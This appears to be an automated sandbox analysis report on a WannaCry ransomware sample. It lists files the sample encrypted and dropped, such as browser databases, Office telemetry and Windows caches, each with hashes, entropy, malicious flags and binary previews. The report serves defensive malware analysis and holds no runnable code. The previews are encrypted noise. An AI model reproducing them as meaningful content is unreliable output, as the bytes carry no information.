                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\acrobat_sbx\acroNGLLog.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):24168
                                                                                                                                                                              Entropy (8bit):7.992382517382394
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:384:coyNC+hnyUsUX584JQG+rZY7gE9T30NEOzA3B8neRLmiEDNsYSTxrfv2yFQ:coyMmyfUJLKGN7gE9TAzQRcNZan2yFQ
                                                                                                                                                                              MD5:B5CC2039C75D13F9F5361B34F51F6ABF
                                                                                                                                                                              SHA1:D1614FD0081BCC0A4B815E9C69409BFEBF90A9AB
                                                                                                                                                                              SHA-256:BD5CE9ED7047501DD87DC26454AEB39E64F9AB1E7E5F773E51578DDFB2B6C475
                                                                                                                                                                              SHA-512:F441D2687CD6BDFCE0FD3C1E5FA042076AF386557521594C09572FB006D5BEB85D26B1941254933CA0F0E66010CA700D879D985D39BE6DBF7D84FAFEC1BFE84D
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....W<.Y..&.8"b..C....\..3.~....K...Q........l.1F|.{[....= ..E6.iK..NY....X.....N..4z.l.......2I.....n.@<.-w:-....$....g..<..4.g........C...Z..c.H./BC;....P....RX...KU...#%IN......l...$.?..Ay..L.Xs._...&G...F...%.T.8U.$.l.'_x..Do$.-....GY...0mb.......D]......p.m.6..}..^..:=d..t....c5.v~....w..{......-.T.....g..AES...:..".%1vuJ....(.yf..Tf....T.....P....{.j.%..J.>]y).......`..]&!E..;.,2.<XKF.R...:..E....MA......ob..D..P.....k_...`...y.g.s...}{r-./..s..2=v.B..E.d.>..d.-..q9..o..d.D..!8.?.....mq.4...j..8..U%8.Z.R..n5..zOeLbr..->2._e.W2..U.6Z.L..=,.='....'...a..H.o.6.....BY='Pw....Q..8.8.....lRv......A-j..{..d.v.7-M..a9.w2.......5T...}.,........nt.n...Fr........I..$^..y.8;F..I.[.=.1G...Vxz...q!.8E.{#*,jwl..v...G..8.Is.D....`..xm...5........i....mP.A..Shq.....!DM......r.-.O#>..a.L.Fu..-e.................&.x.Q.0.cI..e..p.............S.w.......q.U.......3.U.n..)^U..3........U....5..P.*|.g !..*w..h.b7.B.]X.....?.i..z7...o..=d...M.".;n......8K..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\ConnectedDevicesPlatform\L.user\ActivitiesCache.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1048856
                                                                                                                                                                              Entropy (8bit):7.999836387339257
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:24576:PusJzBoBBtKYekwp4LLSG1YnByx35VTkmM6vCU6jCjMovod6:2sJzy7lwp4LZYn4lPOOCmFvN
                                                                                                                                                                              MD5:640C61013F180039C06E443B7DBD5927
                                                                                                                                                                              SHA1:B1A54C2692C622754CFC279549347044E355C81F
                                                                                                                                                                              SHA-256:D28594587CDF11FC5B0E699775DE368B83DA4988768E6FF302C067C554611216
                                                                                                                                                                              SHA-512:A5FFB768A07D68BD7D53FFDF4BDAE79C4DD5A4572A77B990EE2880E23B28B594205898BCE4B9B443E72B60DEEE731BDEF158BC62ABCE20DB9418ED130F4CBF55
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......X.L^.0W.(x./.!.....c..|._1.%.}.r...=..rZ-D..@rSL..3ny..>.\..,=a|.Nc........I$..B.+...+vr..io...T.<.V.[...6B._..F69.-..H...N..Ax...Z...;..u,g.#.Z.F...-N&.c...D.lD....X...~.L..P!..o..-..._.>0@..............xm..j.~....f..D..&E..;x .._...+.3............<Ee.9...V....]......Y..B.....C.....Sx...z=....M.%_.v;..;....z$....,.4..-.=.=.RA.>.0.Xo..Z.U...o-*..t.....m.7ws)T.LU......H...O....u.5Z.g.f9.....6.#.5..?ck.2.!...S.)1....K1h....X&...........'..VV...I....g.B3./..D.A.p&.[....)...<...uk.@..o_.=...=.@.H.!.\...l~.?..>.....$..P....\.}......g..e5n...g.W...(.4]0.&27.^&'....k2?..;.p..O..8........4.O...N..$PJ&.....Z.^..&.~...d.. ..}ud.O9P.^.sZ....<....$....6kn..my.....j.D..!..`q..R.P.X...+...=..=O.!5.....C.!....j.7%.k.....w..x\..})...NinL.X....[..+....#v...%...3..u......2....^...O...].....r.=6'#.%.z/.?.......`c..u...Rc2.C......L.....B...:#2..x.P..[.MC9.<p.#F&s.#..7..U.b,.3...vY0.(E....%...r......R.Fh..'......u....P#x..@.^*..%..:/1{.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\databases\Databases.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):28952
                                                                                                                                                                              Entropy (8bit):7.993733443129596
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:fwTx4J6KcjNPaQg5B4cXb0iBZeFe5gTfO:IF7K5Bt3f+2
                                                                                                                                                                              MD5:0E762F1112A0B818B81E70F623D25980
                                                                                                                                                                              SHA1:9E9F82DFFD9CC68E5D6CD203C641845978E44C16
                                                                                                                                                                              SHA-256:7F4B2F4AC369FA8DDFE222A21CBB5087D70EB98C5B2697E1EFE67683D6D53380
                                                                                                                                                                              SHA-512:C442746ACACF2ACCE8FEF7027E829806EC310C6EE02B5BEDDF0EF9707F0463BB6F407277E74B51B7BB47D34BEADBFB7A02B736693C1318796F5C28BA1D72EC1D
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....0.:.).g.)C..~....l.L...k..).?..v....~....].,<.U...o....\q@.< .`.(.i.\...>..H....U....b.~I...rd{..p...[.[.D....r......!j.._+.N _<N..O...L.Q.8........f.lX....^.6)...'...rG......|X........../..L.-....Bf4zr~.?LH..A'$..RGls/.\.....,..:.e.q.`....R..^.Qe.......p........|O.iw...s.....#.......tO$.Lw.... ....|aun..Y....:Q..o.yt.....kNhz....sS+.Q6..S..o^......u..zd...l#S.qU..r.3&.e.o+.W\JS3V..X..,*=,....t.....}..i.[2....x...l_.a..J..9@$.......\[i(H.K.....d=^..m..-.q9..".p.J=S...T..x/..)8\r..j...d7.S._{.I..U.1.}6\b...U...nlJ.a...... .y.....ym....N....ZC(.,..a.b.....K..n..,...3.+.0e....8fld...8.B]YY......../.)...>..Bm.......5e..Wa.U..M~.l..l.bIk3.YmL/..5.{o.?x...+.O..r...Cun....&.;X....}D.W...-KJ.a.]..?2\Pe?....4=uU?W.zm.. ....{...f".Lpu.9._..2x.]..X.... <-Y.....7.Y.-..7.iY?...y......k.DN8o.....WV.*G[ .d.,iW........p.:G..Fs.^....9.fK6....E...-^.+..5..?%2......n....r..R.^7..I.s....L.K....>...C.|U..O..k."Z.Z..%.JD......K...g{....Y ..:...0...Ho..[

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\first_party_sets.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):49432
                                                                                                                                                                              Entropy (8bit):7.996211435181845
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:XuFH8LJP5iBPbqDS36LxiPmNLtyEGsY26LTrc7S/:eRQ6BuQIi+N4s96/Q7S
                                                                                                                                                                              MD5:C148734F7A046F2D0849649E767B3299
                                                                                                                                                                              SHA1:B6712DC1AAAAA5624CBAC13C34D1E2C71643413E
                                                                                                                                                                              SHA-256:EA0BE3EE3FBE230F63054BB0AF365192655C5DD6420E0085534C4D59AA92BA40
                                                                                                                                                                              SHA-512:B2434F5EE13C30627D5C1BADF80A8D88F028C0228C56FDADF1AD44796B2C595532EB33658B9822943608A9CD7AAFDA5B474194603A539BE23FFC6E032A09AE7B
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......vy..],.i..h..........$F...\.S.........\.(-9.6Q9....@.g....M.8_....a..T0v.Eo......)..}...i.D.|B9U.............hp.G(4.{.UV..q..^'........`.eEN..H...`K...`.X.cc"...@H.&.....F>GNS.....O..3....q..L. ..a.b.?.D.IO...+....W...s....I.*.j...Ed.9..PT..............I.^.n..!...-A2.-.m6.N..#.@....C..x..*.V.Ck......g.v...bT..d..r...j..x@u...-..;..2.i.m.]..>l...3?+tt".... )..;.~fe..h<.S.O..p.Q8M(K..j'....a....z.r.#...s.Y..].5.y.<..d..[....UL..,x9 j......F.0ENR..U.j9.bS.'.....\...|...t..3..=.+.\.2+2.X.....J.0'.....B.:..z..,~.|#...ms5B.....AB..T......s.[.r.`]Iy.G....Z...Img.#hwK.$.b..ar.9.N"..i.Q.k......?.%\._.7...M/^s@..j.~.....q.6....>^..#....z.7..^5.V.j...cx.T..D.....;.x.5....E.m.....7....4.9.{........t.9.h...`.........d...8..qX._../...8n......|2g..*(.e....{.m.X....R>p.!..F." ..&X..Q8.:..Z ..s...........'..h".$x.z......aI,.......j.o..J..Qk..c.....am........5..R...q.x..:....Ne>]..Y.I\.......b..U.p....D.........3.<.0.../..._.]o..-g5X....

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\load_statistics.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):4376
                                                                                                                                                                              Entropy (8bit):7.96113106139513
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:oeIxZ6iC4WvJUV8aKFvYJfz8JlAPSY3vLF6gwRXOYkcBC6lvKnt2wa:tiZJHAv7AP3TQJRXjk98Knc
                                                                                                                                                                              MD5:96C660EADC9E728C9B2B30CD8374AAB2
                                                                                                                                                                              SHA1:2FC69A4878A4569817690B6F65F1B4B8A55A7A6C
                                                                                                                                                                              SHA-256:9E27CFF41DF9C70427A1BF152ACD6CA155EDD4DD5C6A9132E9E7E98BD02FF62F
                                                                                                                                                                              SHA-512:BEBAEDF81B59426EFB4B2E7B0F56F5E3CD57915F085D38C687B350912BF8B9BC6FD82E47936DF5A73F1FBEA9F1C99A955FC5247B42470064A4B30E0574E0C5F3
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....u.m.1....:...Y......Dq%.c@j...|]1.......W..PG.#....IaXI....\.b...\..1?g....."|".V...3..@...P....u.?5F...a(.ig.t...A..~...3..T./...'${!.L....IQS...`.@.X\..: .r.I..s....24...g.yp...a.+...[.U#..v`bws.`Q.?.p..-...pd.+..=r}.**.G_.]h...A\^......l...R'..............#.....q E.......`(y...E..5.`s.C.....Z...e...N....8.5.....x.60..0>..9....>b.5.!.'...`c|$(...w#"..%%.t*..{;.~...|...5.pf.\..Z=......S0.d.J4...N"..R.K/.(.9.FA.=(......O..P.....}..5.l..V..LC....e9....0..v.Q@...N...O..F:^..V..U.A0.M.Q..X...Ce.3ij..]WBR..p8...].Hx.l..I..|...A..1..=..Z...o...Yn...$...j.N...B...e.'....(..w".$M!}.g7...A....Al....+R!.....5..g_.W:.o.V.[...p...%i.F.8...........JRM..%m.../...=YNO.F.Dq.....m..!....LZ...f...z.+te...w......T...o..Kc....}.J.;....XV...}^..k...8Z.r>eR....r..(._..m^...@.[.<...4..g..<..U.X.*e%.U..p".&..2..k..~.Zxu.D6.z....v^V......%.G.Ne$YL...Q.{.1s..7....-{.H.....|..\...xf.f..DHo.)#.$.9[N..%."s$c..k....E.:].O...o&6.n...<...|_.f|I.?...?...q^T.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Internet Explorer\brndlog.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):6856
                                                                                                                                                                              Entropy (8bit):7.97010426349634
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:oO8usMimnCQXhxsCinPDio+9a6A4+/0+4u0oWCGiQ715Pk/CBpf04hYyCj:l8usMVvXtiPDs9a6AR7blGR5M6pMU4j
                                                                                                                                                                              MD5:A10A2498BA13B1122DA5E289A2E135DA
                                                                                                                                                                              SHA1:584518039B1C8E6CE491147B543A9DA8495F36A9
                                                                                                                                                                              SHA-256:9DB1FC0F2E2744AC55DBED7AC655CC8FC879CE9410D2792219CEFB964314CE17
                                                                                                                                                                              SHA-512:CC476A294B7A98DA518D7C40ED3FBB6E7897D9E1497F9473F7366E9122DF01D28D542B5B29243EDBE491AAFC0B8918E04AF06616C10A35FA9A48BA96D150D70B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....1|.M.qU...L.~{.L...hmK/.....hCy.....~...~......G^.I...C'...t5.`.4....!J.}e.BC..e.b.Z..o.e..6+.~...!.5..............;99......$av8x....ys}...j./..'.9A}......x.......|...'.t.<..1.S....n5......:][.^r......]v...y.\a..&...D...n..1A....9l..LVUIR.k4.:..w..&..............Sf.N...'..+z8k...a.3..P.1d.i.s.7...1y.j].3...~E.K...a.g'5m.....D.4..nKOr(J$l...3..o^J.C.I.].....#3.!g....V...]P.^[NL&.O........);../v.PN.e..{..........>..2`.W.x..vp.."._F.sC...i.!.#.^M.&...];.K..%t..|,.X......5Gvn.......8..........j.............gTtOk..........O4....n9..s..,...%..9.+.q%...&L>.)..l.k.W...u...9..s!..[....P.>.&l"...c......e..S\3Y0.%$.Q.).P.:..W.....l.9.9|d<r....2Sgz~....R....=jk:.B..I.1E.P+V..~.......l.......S/.4..d.V..{....Pf".3...OK..9.4.d....NV.Y..*tt(...F.<...,.T.# b.o.8.......A.9...D.Us...m"{.b.....N.v...[...{....9....2"#x.'L..I.R{.CD..:.*ql...2.$.m.M.Onk...-.L..4.B{..*.^g.zf&&i.........\}.....5X.b....J...ie...WT.......o. .pI*..9`..pS#K..._...D..2.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Office\Features\1-7FeatureCache.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1048
                                                                                                                                                                              Entropy (8bit):7.775981258390963
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bktYklIEEng45kHNkbYLJ+AZzU/Ns72jWSEQtGhnLCd96lOPlbYl2V:bkC+zS15ktAYLJu672jsNA4lPo
                                                                                                                                                                              MD5:80AFE30421A32EAE42C25F2FEA1A635E
                                                                                                                                                                              SHA1:CB3DB96007AE5610E6633FA7524433051F6F4DEF
                                                                                                                                                                              SHA-256:6E59EAB76ED0902BD73C439B0FBEE689CC972067BC6497A62675FA28D5D4E5F5
                                                                                                                                                                              SHA-512:F3C0A20FE5887A3BE91F291CF302D337303EC9A3CA5067F71E7BECF5DDC2CF5AB5D2817D4852C001ABC0BBAA5A31DB7EFEB217D05136907BC529FF0C23CF3D74
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....A?cW.k.....>A..yG}}.A]<........S|.2W....3.F,f.J..v...U...{....*..Y.+../........Jk...^........7...x...'..da$E]..Tm.L;..]XO..j....zr...s...\......S.0B/6..VF..W#.V.S6.....w.4n....QV..8t..=.....J).u..?.]...u.@.`Z%7}..s..cFr.xf...........G...................O..?.'ZG..'.|0.<.....k'.......6.cDb^..5.I......"..x.b.1U.H....<..]..+{......n.cQ~..V!....S..k.a..&..'..J-..8Gi(.(.....=|..p/...E*.........a..O._.......;eg.f.#..*.....Z.3...wgYfZ...8........wG.-.\.m@..."Y./.M.....x._..^.+ . );.w.S..G8gK.....z.wus.Ch.s.)=e]..Zmf .'C......u...P.....V-.I..IW..4.V;..s.mq.f.Q....{...Z.4.?..|......T.$=..._.d.wB......A*/...v]...Z..?.2,.tC..Ca9.[&..].....+N.P...&.;Mf..k../BA .y+.g.~..Bz......c.c...........ZG......~$..Y6S[yfsP.&...'x....R..U.=s..b..X...;V.J0)..?.6P..~.0....G.*X..../...n...2v....Y...[..MP.iE./_Q.m....%R1.fj.0.l{y....;.M.-....za0.^..6%......d..M~b..L.*...A.....0.t1re..{...7F........."..h...5&.<B.+..#...'.r..z;[..sd...f\7..q..'7.....1...

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Office\OTele\officec2rclient.exe.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):24856
                                                                                                                                                                              Entropy (8bit):7.992370291981207
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:384:YNmA3Pk8/7aqZhMYSAV6V1G35E01mT9se9moyY1fJ1sUNZUbI5MUoVyQBQf7Ix1X:a31Lh+1i35E01use36hU5UwB8QW
                                                                                                                                                                              MD5:8EBCC7FCFACF4FB433B1A777CCD1D95B
                                                                                                                                                                              SHA1:7336BB4DE39710BCD17489507452274AAB7753AF
                                                                                                                                                                              SHA-256:ABB8AA30E9275254C3D2F34C971B9C7F1136694BB311B2A0B7BA2BAC97314015
                                                                                                                                                                              SHA-512:00367188D3B3A1B1AFD5CC8294BE2D01C09A5A035474153EF9F1FC9F35313F14CCEE178D06BA4DE4EC097263C2A6DA8243E173704134EDDFE2F5317CA2D32128
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......%.~.@.Jc5:..pMx........P.......-.e.c.L&......{...R..p......d.%..1..s...@.K.Yfq...{.H....Zsmm...,.U..i.Uw../;.+....hI..p.j..5.S!..%.j...IK...{..%.........F.7.W..%.T...oN...,I)oU#..(...kN.y.Sb...G.$..2.\...u9.3.~.e.w.I.h.##.......Q.,R_...A........`.......M*t_.bn..8..(.lh)'X.?....xt....U..|?G+.#.|...:I..x.]?...j.......:..Cw..ER.8..e..$...E.....87p.....E..W...|.A...[...U....c........P.U..f.%...ND....vS.j,..R.........M... ...1.f...G.2...`j....Vu......}sB......k...j..b.D.-\.....,o...#..)#..y.}g..N...u./....w.8.....[... 3....i.)...~..5..0.c........4.D......T...*Z..h.....6..s.*..!..o.$..>.lct..auA[.......$..,&../....g.&MX.3.L>.C'S..:..7Ya.....k!........."...._..{.....lE=....5i.....nJ..\..........p>..m....]....\...N..j....BX.m w..+.9.|....*w..BV..|.C.pq.}!...-..&...t......X...UpbOK!......|..... (..K....ug..9...d[%...#.v...\..8....$.]^Z...,..Fm....sF..)0.....l..&s..+.#.....-.p2S..`.%lj..tFlu|...~.].W....D....F.S..I.;^^#z...Z..}.d...Na

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Office\OTele\officeclicktorun.exe.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):24856
                                                                                                                                                                              Entropy (8bit):7.9918974583086095
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:mWGfq8SEHoMszRy1V6cZYP/ro14KcH1MAM0awd1DlmfVauCK8IR:pZ8SECBcCrtj1MQRdZOVNCU
                                                                                                                                                                              MD5:EB963992EFE7633B891EABF0B7F1C467
                                                                                                                                                                              SHA1:C49D8687E5BB7EB063AC2D03C5802C22F749DE57
                                                                                                                                                                              SHA-256:D67542B7059D4D05B87AF9622F5FE7773D051355847CF0B6E4ADAB5B54519C46
                                                                                                                                                                              SHA-512:88E958CF8537C8B23CB27C9212AEAD9C5ACC52CE167E253D5F079F81819ED04BA40E2ACC1D4A6F96246661B3EC94C1CA9B8098560AE9FBAAEEC36FCE0EAFB912
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....-.1.D,..(.....2.P.P6.C....7."@^..tc..v@....h.N.>....'6.=..s..;C.[5..3.IU1h.8..7....2)..f.6,.g#l@.r%.Q.9..=.h.83....,..D.TC...T..T.6}g.u.D^.+CU..gyiPS.0.V:.P..LH+..q.~X...@&...(..3......K,O-.[....6..h<..o......g....1..j.......y..!.;.f<~'......4.....`......!..(.fb......lv.8.[...Hn..&j...{5.....m....H.mhU...xNR. ...8{...f........C.....UX.$....e.....vh.`.k...p....cn#.t......d...=.+._y.$59k......._..B.X.0V..<...=l..{...0....Q\.....}c...=t..g`&......{...w.r.o.|*o........oN..k&c.....f.j|8.....c.h..5.......q..a]n.......!~.~..I...-...&..F.| ..Y./.,...X.."`..*.T.L.q.d.E....+.. ..C....|..2...br.(5.........$W.M.`../......u.n.FuH+.....U.....k...c8.1..^a}.O+.C....-.~]c.s..+.6.".....:..a.._@V.A2CHe..A.;.W..{t....2...3..1..1).(..^C.O..w.W.....T..:.+q.Qjaj....y.%.....|.3..w&.!...y....)U(..-`..<g;..6.m-.x..c...,.y..-.....J..M..j.......r......]..`RQ1..3..4p/gB..Kt,@..+..S........s:..|.q..=l..Au.'u...T......k.z.|s...l.<.d0..VtRE...;oe..:@#.H.s..M.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Office\OTele\officesetup.exe.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):24856
                                                                                                                                                                              Entropy (8bit):7.992859057525222
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:384:c4tn2LPPszlg67tQY7nI3WV1qiwWTHm5sIZWj5YPUjuj+4E92hBQzQOak8jgmBiP:lYP7YLwgqpqWVWMUjuqbzL+sOk
                                                                                                                                                                              MD5:B352AAB530F0EFDD4688C7198DA99665
                                                                                                                                                                              SHA1:7C8AB8ABA1DBA3A1F34AB417E5004BBD02814547
                                                                                                                                                                              SHA-256:146344510DDF0206ED0B56A84D413D67DE99162949C0C2E13AF228E29AEAF22A
                                                                                                                                                                              SHA-512:8E1E45A44D72B48521CAA95DB164C9E7777234AE3B194BE13F3B930080DEEE3221F0D300D6C6D021825CF9E5BFC783CDEBEF2ED8104C60FB040DF1D6B64D56B6
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....[..T...V.n..[..........<..V......nQ..K.;*(....pur..4F.C..r^....W@.vE.Uxq.'G..Y.oW.y....c."...Dq.?....6.Yt\.*....>[..Fy.....?.n..z....A\s+.5F+.....]c7hME...&.!.PiU".tfJ/V...L2\<..)...F.cNH!|..P..?\|1...f.3..k..Z.K.J.&......1,.}-..KcY..nS....."}.....`.......2...ol.E.L..0.vS....(We.Am..y7q.!<.R~.qw+g-.o..R.....4..~...~t.....q......g......z.m.ZV.v...^..".z.s.......r.cZ.......[...J..6k.u.....1....(/.5X.h.`..p..#.F. .GuT.>....\..b...T...X.U.3.!...B....4..Y......r.......-:Ak...&......O.f.F\M.a...M.m..[..s.0.6.h8.n{.3gB....(....M#D..*.....`.R;.3.Q...".T..e..Su..#..<..|&_c...b.....t>.3".......P.E..P...;..*.....H..Fh.,.....;..a.`.e}.>..g.[.[..#..a.S.^e..\K]x,.....:$*..2...z1a..w...F..p.C$..o.G3.l.......2.X..>.....z..wF1=.Co`.......ZIWTEs...@.9X....#....F..r$..f;.nh../...)......K.9..I.4ua...G. ...Za.T.%1...(..x.....Gr...^.~.~B...9....I..~q.....W.k....h....9Z.V|/W{XQ.P..U\....L3.RW..Jp3.C.... .....&....(li..j..ZzT.v!...N.....UoQ.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\cversions.1.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):16664
                                                                                                                                                                              Entropy (8bit):7.987764650674058
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:QQIbPNEbDeavKwzVz5Kir3CljTZUQZJmxDmN:QQIWbDBxzJkKK/ZpeVmN
                                                                                                                                                                              MD5:10FFD6B980432D40180988DEE9D733D4
                                                                                                                                                                              SHA1:E075F283E2B9B11E82D2413A2EB3E67834BB454A
                                                                                                                                                                              SHA-256:69C1306603FDC79178F7038E160A90DAEEB3A750FEC7D7B48D3B2FCDFB0A5B45
                                                                                                                                                                              SHA-512:9C43A1CB43F402366ABFA69DB5267D164CA5BD1C6FFEC6F8F1E3C777A927543B2C977824BCC8A35AB7E1A2AA9386EB1EF6C3A36F3F88043FAAC5810A3E407D90
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....3......M.G..zK.....^..u......./..VXHo}.....X&R'b..mt*T.;2.'eF'.....{.lm.].;..Dd.SCE.m....O.....V.].EZ3|.no`.......f.D.}`.Im........8.0...|/C.8.8.\""mV.....pc7.m..k~_.j.K.0.*.X.....FVi..b..!..;A......<3mq....."..9#0 ;~..A.?..n.z......2....N.7.....@............D..k........%......0.S..j...I.:%a..}..}.]...h..3.4.$..3....\....>...H..>.d....J.;..H.~~e...(.......}.............Ps...r.......$..r..U...t.vC....D.[.(3#.@.z.7%Eg.....le....Z].`.+.;.WHW.\s..Mln.@...f.y~...[.oU.~&.6h{!?.#.i.I....2.[..QVR|(...\|M.${i...v|,L.}.b.!&E0.5/L/....e..`..\...-.i ..2...#..Id....L...|x.K"....~.m{.E6..?P.#......a$1x..g...r...'...g...>%..a.}`H.bIN..`.3@;2j-.[p.J........a:.F...?.4.>.#..hh...s%.5.....i.\d...yO...).%.G,i...8r.....*V.y<wN..Ua...]T.T..S..9..D.10v........A...9..2....<..}.z..$+..L...!.u.......(@.y.x{...Uw.....>c.Cs..46.,...]...Xw<...z9g.U.r...>RC.....F..i...Yuh.....V.ZO....<;..UBM.d.....1...U..R..mU.h....1....c.......n....e..W+.$.2.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\cversions.3.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):16664
                                                                                                                                                                              Entropy (8bit):7.988682113208475
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:iZLZxqznllylUMaPzkgX08eo4xsZ1PRzQqVDhdX9P4:iBZxyLbkjo4xSdDh52
                                                                                                                                                                              MD5:AE5889308F8BE8DD3F09634088DAF3B4
                                                                                                                                                                              SHA1:863D0DED0100737BB433086F59918403F177A455
                                                                                                                                                                              SHA-256:837BD9C89CE2C91ABAF0DA6FB8B3EC90B4E87CF444482F8CBD1F496F414AC0AB
                                                                                                                                                                              SHA-512:81BF3AD1515921ED26DEB6AED441FBD55099D6C12F02B16BD71DF71615E3EB284B0E17F787618E0C58837FDD936B4C5EDDD36F5F24559D6CCDE719FCC2232779
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
